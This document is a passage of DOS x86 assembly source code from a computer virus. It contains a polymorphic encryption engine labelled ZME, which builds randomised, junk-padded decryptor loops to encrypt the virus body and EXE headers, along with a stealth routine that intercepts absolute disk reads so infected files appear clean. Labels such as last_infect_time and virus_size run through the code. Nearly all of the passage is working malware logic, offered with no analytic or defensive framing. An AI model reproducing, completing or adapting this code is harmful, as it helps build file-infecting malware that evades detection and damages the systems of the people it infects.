lea di, [vir_heap._exehdr]
MOVSEG es, cs
mov cx, HDRBUFSIZE/2
rep movsw
pop si
call Stealth_Abs_r
DO
lodsb ;1
cmp al, 0
DOIF Z
end_search: ret
DONE
mov cx, 10d
DO
lodsb ;0B
cmp al, ' '
jb end_search ;no_dir_entry
CYCLE LU
lodsb ;attr of file ;15
mov cx, 10d
DO
lodsb ;16
cmp al, 0 ;unused, must be zero
jnz end_search ;no_dir_entry
CYCLE LU
add si, 6
lodsw ;dir_size_l
call test_size
DOIF Z
mov dl, [abs_read_drive] ; = $-1
inc dx ;future: flop no stealth ? (to slow)
push ds
mov ah, 32h
call DosCall
mov cl, ds:dpb_cluster_mask[bx]
mov ch, 0
inc cx
mov bx, ds:dpb_first_sector[bx]
pop ds
mov ax, ds:(dir_first-dir_size_h)[si]
dec ax
dec ax
cwd
mul cx
add ax, bx
adc dx, 0 ;dx:ax-first sector
push ds
MOVSEG ds, cs
lea bx, [heap]
mov word ptr [bx.AbsDisk_start_sect.lo], ax
mov word ptr [bx.AbsDisk_start_sect.hi], dx
mov word ptr [bx.AbsDisk_sect_num], 1
mov word ptr [bx.AbsDisk_buffer.lo], bx
mov word ptr [bx.AbsDisk_buffer.hi], ds
mov al, [abs_read_drive]
mov cx, -1
call call_real_25
push si
mov cx, HDRBUFSIZE/2
lea si, [heap]
lea di, [vir_heap._exehdr]
movseg es, cs
rep movsw
pop si
pop ds
call Stealth_Abs
DONE
lodsw
CYCLE
;-+------------------------------------------------------------------------+-
ends
end

code segment byte public


assume cs:code, ds:code, es:code, ss:code

INCLUDE ZURICH.ASI

extrn dataencriptor :near


extrn start_data :near
extrn _____ :byte
extrn heap :near
extrn vir_heap :near
extrn get_cur_time :near
extrn RANDOMIZE :near
extrn dosseek_bof :near
extrn read_buf_22 :near

.LALL

pblabel crypt_exe_header
;int 2bh
; push ax dx
; call dosseek_bof
; call read_buf_22
; pop dx ax
mov si, [exehdr.exe_par_dir]
shl si, 4
sub ax, si
sbb dx, 0
pblabel crypt_exe_header_custom
movseg ds, ss
movseg es, ss

;int 2bh
; movseg ds, cs
call RANDOMIZE
lea si, [vir_heap._exehdr.exe_len_mod_512]
lea di, [heap]
mov cx, exe_rle_table-exe_len_mod_512 ;14h
mov [engdata.zmefl], zmeflHDR
jmp ZME_crypt_custom
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel ZME_crypt
cld
mov [engdata.zmefl], ax
mov [_____], al
call RND_INIT
call get_cur_time
mov [last_infect_time], ax
mov si, VIRUSSTACKSIZE
mov cx, offset start_data-VIRUSSTACKSIZE ;virus_size
pblabel ZME_crypt_custom
mov [engdata.datasize], cx
mov [engdata.targetptr], di
rep movsb ;copy data
;< set next version probabilitys [di-virs-VIRUSSTACKSIZE+prEXE]

mov [engdata.jmp_after_decrypt], 0
test [engdata.cur_cryptlevel], 80h
jz ZME_crypt_
call ZME_crypt_ ;;;double crypt
mov di, [engdata.targetptr]
mov [engdata.jmp_after_decrypt], ax ;
mov [engdata.datasize], cx
add di, cx
pblabel ZME_crypt_
push bx
test [engdata.zmeflags], MASK EN_BFR_GARBL
DOIF NZ
call RND_GET_BYTE
inc ah
add [engdata.datasize], ax
call shit_ax
DONE
;-----------------------------------------------------------------------------
; ZME_INIT

lea si, [vir_heap._engdata.cJMP_patch]


mov cx, reg6- segm_IDT ; clear the work area with 0's
DO
mov [si],ch ;
inc si ;
CYCLE LU
pblabel bad_reg
DO
call RND_GET_THREE_BITS
or al,010b ;AL := R_DX, R_BX, R_SI, R_DI
cmp al,R_DX
CYCLE E ; not R_DX
lea bx, [vir_heap._engdata.reg0]
mov cx, 7
jmp SHORT ffound
DO
DO
lea si, [vir_heap._engdata.reg0-1]
call RND_GET_THREE_BITS
pblabel fill_registers
inc si
cmp si,bx
EXIT E
cmp al,R_SP
REPEAT E
cmp al,[si]
jne fill_registers
CYCLE
pblabel ffound
mov [bx],al
inc bx
CYCLE LU

call RND_GET_BYTE ; X < decriptor_data + initialIP


mov [engdata.value_X],ax ; or X > decriptor_data+initialIP+datasize+2

call RND_GET_BYTE ; Y < decriptor_data + initialIP - X


mov [engdata.value_Y],ax ; or Y > decriptor_data+initialIP+datasize+2-X

mov cx, [engdata.datasize]


sub cx, 20h
mov ax, 3
DOIF A
DO
call RND_GET
cmp ax, cx
CYCLE A
or al,101b
DONE
mov [engdata.value_J], ax ;value_J := 1..datasize-0E

;-----------------------------------------------------------------
mov ax, di
sub ax, [engdata.targetptr]
push ax
; cmp byte ptr [engdata.zmefl+1], (zmeflOBJ shr 8) and 0FFh
; DOIF E
; lea si, PMtest
; mov cx, 0Fh
; rep movsb
; DONE

;IRP foo, <50,B8,86,16,CD,2F,58,75,06,5F,55,8B,EC,FF,E7>


;sto_byte 0&foo&h
;ENDM

;store test for PM


;mov ax,1600 (1686) ; 0B8h, 86h, 16h, 0CDh, 2Fh, 75,
;int 2f
;cmp ax,1600
;je real
;pop di
;push bp
;mov bp,sp
;jmp di
;real:

test [engdata.zmeflags], MASK EN_SAVE_REGS


DOIF NZ
IFDEF USE_PUSHA
sto_byte opPUSHA
ELSE
mov cx, 7
lea si, [vir_heap._engdata.reg0]
DO
lodsb
add al, opPUSH_AX
stosb
CYCLE LU
ENDIF
DONE

mov [engdata.useregs], REG_GARBL_ALL


lea si, [di+4]
DO
push si
mov ax, 0Bh*2
call force_not_branch_garble
pop si
cmp si, di
CYCLE A
mov cl, [engdata.zmeflags]
IF EN_BFR_GARBL
shr cl, EN_BFR_GARBL
ENDIF
and cx, MASK EN_BFR_GARBL
DOIF NZ
push cx
call garble_more_reg_all
call encode_int21
pop cx
CYCLE LU
;****************************************************************************
;****************************************************************************
;****************************************************************************
;****************************************************************************
; ENCODE_CRYPT_ROUTINE
;****************************************************************************
mov [engdata.useregs], REG_GARBL_ALL ;
mov [engdata.begin_sub], 0 ;DON'T ENCODE CALL BACKWARD INTO DECRYPTOR
lea si, [dataencriptor]
mov cx, CRYPTLEVEL*4
DO
mov byte ptr [si], opNOP
inc si
CYCLE LU
mov byte ptr [si], opRETN
call garble_more
test [engdata.zmeflags], MASK EN_RELOCATOR
DOIF NZ ; encode relocator
sto_byte opCALL
call RND_GET_THREE_BITS
inc ax
stosw
mov [engdata.relocator_base], di
call SHIT_AX
call garble_more
mov al, [engdata.reg0]
add al, opPOP_AX ;pop r0
stosb
call garble_more
call encode_reloc_patch
mov [engdata.reloff_1], di
stosw
call encode_reloc_patch
mov [engdata.reloff_2], di
stosw
DONE
call garble_more
mov cl, [engdata.reg0]
call encode_zero_reg ;encode MOV IDX ,0
call garble_more
mov cl, [engdata.reg2] ;encode MOV TMP1, some
call encode_mov
mov [engdata.start_reg2], di
stosw
call garble_more
mov cl, [engdata.reg3] ;encode MOV TMP2, some
call encode_mov
mov [engdata.start_reg3], di
stosw
call garble_more
mov [engdata.loop_top], di ;loop peak
call garble_more
mov ax, [engdata.value_X]
call encode_add
call garble_more
mov cl, 4 ; 87 or 8B
call encode_reg_mem
mov ax, [engdata.value_X]
neg ax
push ax ;-(X+1)
mov bx, [engdata.reloff_1]
call encode_mem_access
mov cl, [engdata.cur_cryptlevel]
and cx, 7Fh ;mask ?
DO
push cx
mov [engdata.useregs], REG_ENC_ALL ;SET USED 1..3
call encode_one_crypt
mov [engdata.useregs], REG_GARBL_ALL ;SET USED 4..6
pop cx
cmp cl, 5
DOIF E
call garble_more
mov ax, [engdata.value_Y]
call encode_add
DONE
CYCLE LU
mov [engdata.useregs], REG_GARBL_ALL ;SET USED 4..6
mov cl, 2 ; 87 or 89
call encode_reg_mem
pop ax ;-(X+1)
sub ax, [engdata.value_Y]
push ax ;-(X+Y)

mov bx, [engdata.reloff_2]


call encode_mem_access
pop ax ;-(X+Y)
sub ax, [engdata.value_J] ;-(J+X+Y)
call encode_add
;***************************************************************************
; encoding GOTO loop_top
;***************************************************************************
mov [engdata.useregs], REG_GARBL_ALL or MASK REG_ENC ;
mov al, opJC ;encode JC ;
call do_cond_jmp ;JC
call many_nonbranch_garble ;Shit
mov ax, [engdata.datasize] ;
dec ax ;
call encode_add ;ADD INDEX,value_J
call finish_cJMP
mov al, opJZ ;encode JZ ;JZ
call do_cond_jmp ;
call many_nonbranch_garble ;Shit
;**************************************************************;*************
; ENCODE JMP NEAR Loop_Top ;
;**************************************************************;*************
call encode_jmp_near
mov ax, [engdata.loop_top]
xor bx, bx
xchg bx, [engdata.nJMP_patch]
add [bx], ax
;**************************************************************;*************
mov [engdata.useregs], REG_ALL ;;SET USED 0..6
call finish_cJMP
call garble_more ;
;*ÂÂÂ*ÂÂ*Â***********Â******************************************************¿
;*ÅÁÅÂÁÅ*Å***********Å******************************************************´
;*Á*ÁÁ*Á*Á***********Á******************************************************Ù

;---------------------------------------------------------------------------
;sto_two_byte 0cdh, 2Bh
test [engdata.zmeflags], MASK EN_SAVE_REGS
DOIF NZ
IFDEF USE_PUSHA
sto_byte opPOPA
ELSE
mov cx, 7
lea si, [vir_heap._engdata.reg6]
DO
std
lodsb
add al, opPOP_AX
cld
stosb
CYCLE LU
ENDIF
DONE

test [engdata.zmeflags], MASK EN_USE_JMPS


DOIF Z
sto_byte opRETN
DONE

call encode_jmp_near
mov ax, [engdata.targetptr]
add ax, [engdata.jmp_after_decrypt]
mov bx, [engdata.nJMP_patch]
add [bx], ax
;crypt data
;*ÅÅ**********************************************************************ÅÅ*
;*ÅÁ**********************************************************************ÅÅ*
;*Á**************************Á****************************----------
push di
mov di, [engdata.targetptr]
mov si, [engdata.datasize]
dec si
xor bx, bx
call RND_GET
xchg ax, cx
call RND_GET
xchg ax, dx
DO
add bx, [engdata.value_J]
sub bx, si
DOIF C
add bx, si
DONE
mov ax, [di][bx]
call dataencriptor ;call encryptor
mov [di][bx], ax
and bx, bx
CYCLE NZ
mov si, [engdata.start_reg2]
mov word ptr [si], cx
mov si, [engdata.start_reg3]
mov word ptr [si], dx
pop di
;***************************************************************************
mov cx, di
sub cx, [engdata.targetptr]
pop ax
pop bx

ret
;endp
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
;*Â********Å*******Â**************ÂÂ**************************************Â**
;*Å******Â*Á*******Å**************ÅÅ**************************************Å**
; À******Å*********Á *ÁÁ**************************************Á

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ**
pblabel encode_reloc_patch ;add cs:[r0.(offset addbuf1-relocator_base)], r0
call garble_more
sto_two_byte opSEGCS, 01
mov al, [engdata.reg0]
mov cl, 9
mul cl
or al, 10000100b
cmp al, (R_BX*9) or 10000100b
DOIF NE
xor al, 00000010b
DONE
stosb
mov ax, [engdata.relocator_base]
neg ax
ret
;endp
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ**

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ**
pblabel encode_mem_access
push ax
add ax, VIRUSSTACKSIZE ;[engdata.sourceptr]
and bx, bx
DOIF NZ
add [bx], di
sub ax, [engdata.relocator_base]
add ax, [engdata.targetptr]
sub ax, VIRUSSTACKSIZE ;[engdata.sourceptr]
DONE
stosw
pop ax
jmp garble_more
;endp
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ**

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ**
pblabel encode_zero_reg ;cl-register result - 2 byte stored
call RND_GET_BYTE
and al, 8
add al, 2Bh
stosb ;store SUB | XOR R,R : 29, 2Bh, 31, 33
mov al, 9 ;cl-register
mul cl
or al, MASK M0D
stosb
ret
;endp
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel shit
call RND_GET_THREE_BITS
shr al,1
inc ax
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel shit_AX
xchg cx,ax
DO ;1 to 4 times
call RND_GET_BYTE
stosb ;add any shit after crypt data
CYCLE LU
ret
;endp
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel choose_fake_mov ;al=C0(add), C8(or), D0(adc), F0(xor)
call RND_GET_BYTE
MASKA al, 110xx000 ;al=C0(add), C8(or), D0(adc)
cmp al, 0D3h ;no al=D8(sbb)
DOIF A
sub al, 0D8h-0F0h ;al := F0(xor)
DONE
ret
;endp
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel choose_wr_and_encode_mov
call choose_word_register ; register for call offset
xchg cx, ax
;***************************************************************************
pblabel encode_mov ;cl-register; result - 1..4 byte stored
call RND_GET_BYTE
DOIF C
call encode_zero_reg ;reg:=0, CF:=0, possible use 'ADC'
STO_BYTE 81h ;store ADD | OR | XOR R,value
;future:
;lea reg,[reg+] ?
; mov protect_reg, al
call choose_fake_mov
cmp cl, R_AX
DOIF E
; transcoding:
; C0 -> 5
; C8 -> D
; D0 -> 15
; F0 -> 35
sub al, 0C0h-5
dec di
DONE
DOELSE
mov al, 0B8h ;MOV R,value db B8;
DONE
or al, cl
stosb
ret
;endp
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
; ********
; zero reg
; add/adc/or/xor reg,mem
pblabel encode_reg_mem
call garble_more
call RND_GET_BYTE
PASS C
cmp cl, 4 ;cl=4- 87 or 8B mov r,[]
DOIF E
mov cl, [engdata.reg1]
call encode_zero_reg
call garble_more
call choose_fake_mov
cmp al, 0D0h ;adc
DOIF E
call choose_word_register
call encode_zero_reg
mov al, 0D0h
DONE
add al, (80h+80h)+3-0C0h-87h ;3, b, 13, 33
mov cx, ax
DONE
and al, cl ;cl=2- 87 or 89 mov [],r
add al, 87h ;cl=4- 87 or 8B mov r,[]
mov ah, [engdata.reg1]
shl ah, REG
or ah, [engdata.reg0]
or ah, 10000100b
cmp [engdata.reg0], R_BX
DOIF NE
and ah, 11111101b
DONE
mov byte ptr [di], opSEGCS
inc di
stosw
ret
;endp
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel encode_add ;al-value, add reg0, value
push ax
mov al,[engdata.reg0]
add al,0C0h
mov ah,al
mov al,81h
stosw
pop ax
stosw
ret
;endp
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÑÍÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ*
; ³ ZME ³ ENCODE ONE CRYPT OPERATION ³
;ÍÏÍÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ*
pblabel encode_one_crypt
DO
call RND_GET_BYTE
and al, 00001110b
cmp al, [engdata.lastgarble]
CYCLE E
pblabel force_choice_crypt_operation
mov [engdata.lastgarble], al
xchg ax, bx
mov cx, word ptr encrypt_opcode_table[bx]
neg bl
add bl, sizeof_encrypt_opcode_table-2
mov dx, word ptr encrypt_opcode_table[bx]
and cl, not 1 ;clear size data flag
and dl, not 1 ;clear size data flag
call RND_GET_BYTE
and al, ch ; patch it into the top
and al, 3 ; this line unnecessary
or cl, al ; byte for variable opcodes
or dl, al ; byte for variable opcodes
and dh, not MASK R_M
and ch, not MASK R_M
DOIF Z
call choose_register
mov ah, [engdata.lastchoose] ;lastchoose=1, 2, 3 ³ -1 ³ ax, cx, dx,
dec ah ;al=lastchoose(1,2,3)+(0,4)-1= (0,1,2) or (4,5,6)
shl ax, REG
or ch, al
or dh, ah
; IF CRYPTLEVEL GT 8
;;;;;;;;IF YOU HAVE ANY TROUBLE - UNCOMMENT THIS;
and [engdata.useregs], not MASK REG_ENC ;SET USED 2..3
;do not reg1 in r/m field if use two register
; ENDIF
test cl, 1
DOIF NZ
and dh, 11011011b ;don't use BP, SI, DI
DONE
DONE
call choose_register
or ch, al
or ch, MASK M0D ;no use memory
or dh, [engdata.lastchoose]
dec dh
or dh, MASK M0D ;no use memory
test cl, 1 ;use word
DOIF NZ
and dh, 11111011b ;don't use BP, SI, DI
or dl, 1
DONE
cmp al, R_AX
; mov ax, cx
sto_word_ cx
DOIF E ;optimize for ax/al
test al, 01111110b
DOIF Z
and al, 1
or al, ah
MASKA al, 00xxx10x
dec di
dec di
stosb
DONE
DONE
sub si, 4
mov word ptr [si], dx
test cl, 01111110b ;al - high byte of opcode = ch
DOIF Z
call RND_GET
stosw
cmp cl, 81h ;16 bit
DOIF NE
dec di
mov ah, opNOP
DONE
mov word ptr [si][2], ax
DONE
mov [engdata.useregs], REG_GARBL_ALL
;***********************************************************************
test [engdata.zmeflags], MASK EN_INT_GARBL
jz garble_more ;0
mov ax, 1
jmp garble_more_AX
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel garble_more_reg_all
mov [engdata.useregs], REG_ALL ;SET USED all registers
;***************************************************************************
pblabel garble_more
call RND_GET_THREE_BITS
and al, not 4 ;1
pblabel garble_more_AX
push si cx
xchg cx, ax
inc cx ;garble count = 4..7
DO
push cx ; save garble count
call garble_once ; garble ***MACRO***
pop cx ; restore garble count
CYCLE LU
call finish_cJMP ; if so, finish it
call many_nonbranch_garble ; garble garble
mov bx, [engdata.nJMP_patch] ; check if pending nJMP
and bx, bx
DOIF NZ
STO_BYTE opRETN ; encode a RETN
call shit ; after RETN - any shit !
add [bx], di
mov bx, [engdata.end_of_jmp]
mov [engdata.begin_sub], bx
mov word ptr [engdata.nJMP_patch], 0
call many_nonbranch_garble ; garble
DONE
pop cx si
retn
;endp
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel many_nonbranch_garble
call RND_GET_THREE_BITS ; do large instruction
shr ax, 1
inc ax
xchg cx, ax
DO
call not_branch_garble_with_save_cx
CYCLE LU
retn
;endp
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel finish_cJMP ;
DO
mov ax, di ; get current location
mov bx, [engdata.cJMP_patch] ; get previous location
and bx, bx ; in not open cJmp
JZ @@retn ; cJMP_patch == 0? i.e. is
sub ax, bx ; there an unfinished cJMP?
dec ax ; calculate offset
EXIT NZ
call not_branch_garble ; fill in some instructions
CYCLE
cmp al, 7Fh ; are we close enough?
DOIF A ; if so, finish this now
mov al, 0 ; if not, encode cJMP $+2
DONE
mov [bx], al ; patch the cJMP destination
mov word ptr [engdata.cJMP_patch], 0 ; clear usage flag
@@retn:
retn
;endp
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel do_one_byte
call choose_register
cmp al, R_AX
lea bx, onebyte_table
DOIF E ; if possible use AX as garbage
lea bx, onebyte_table_ax
DONE
call RND_GET_THREE_BITS
xlat
cmp al, 40h
GOIN E
cmp al, 48h ; DEC or INC ??
DOIF E ; all other onebyte command have opcode great 48h
xchg cx, ax
call choose_word_register
add al, cl
DONE
stosb
retn
;endp
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;Í* encode * branch * garbles *ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ


pblabel garble_once
call RND_GET
jp encode_CALL
jb encode_int21
jz encode_cond_jmp
jo not_branch_garble
js do_one_byte
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
test [engdata.zmeflags], MASK EN_USE_CALL
jz garble_once
cmp word ptr [engdata.cJMP_patch], 0 ; is there an unfinished
jnz finish_cJMP
;* encode jmp near *********************************************************
pblabel encode_jmp_near
cmp word ptr [engdata.nJMP_patch], 0 ; is there an unfinished
jnz encode_cond_jmp

test [engdata.zmeflags], MASK EN_RELOCATOR


; jnz encode_jmp_nearE9 ;< jmp looptop & jmp virus (E9) if relocator
GOIN NZ
call RND_GET_BYTE
DOIF NZ
sto_byte opJMPN
mov [engdata.nJMP_patch], di ; save location to patch
xor ax, ax
call sto_min_di_2
DOELSE ; encode JMP register
call choose_wr_and_encode_mov
mov [engdata.nJMP_patch], di ; save location to patch
xor ax, ax
call setup_reg
or ah, cl ;ax= 0E0FFh
stosw
DONE
call shit ; after jmp - any shit ! <<<<<<debug
mov [engdata.end_of_jmp], di
jmp garble_once
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;* encode a conditional jmp *ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ


pblabel encode_cond_jmp
test [engdata.zmeflags], MASK EN_USE_JMPS
jz garble_once
cmp word ptr [engdata.cJMP_patch], 0 ; is there an unfinished
jnz finish_cJMP
call RND_GET_BYTE
DOIF Z
MASKA al, 010000x0 ;encode cmp/test before Jx
call force_not_branch_garble
DONE
pblabel @encode_cond_jmp
call RND_GET_BYTE
test al, 1010b ; don't encode jo/jno/jpo/jpe
jpe @encode_cond_jmp
MASKA al, 0111xxxx ; encode a conditional jmp
push ax ; opcode 72..79, 7B..7F
call choose_word_register
cmp al, R_CX
pop ax
DOIF E ; if possible use CX as garbage
MASKA al, 111000xx ; encode a conditional loop/jcxz
DONE ; opcode E0..E3
pblabel do_cond_jmp
stosb
mov [engdata.cJMP_patch], di ; save target offset
stosb
jmp many_nonbranch_garble
retn
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;* encode CALL *ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ


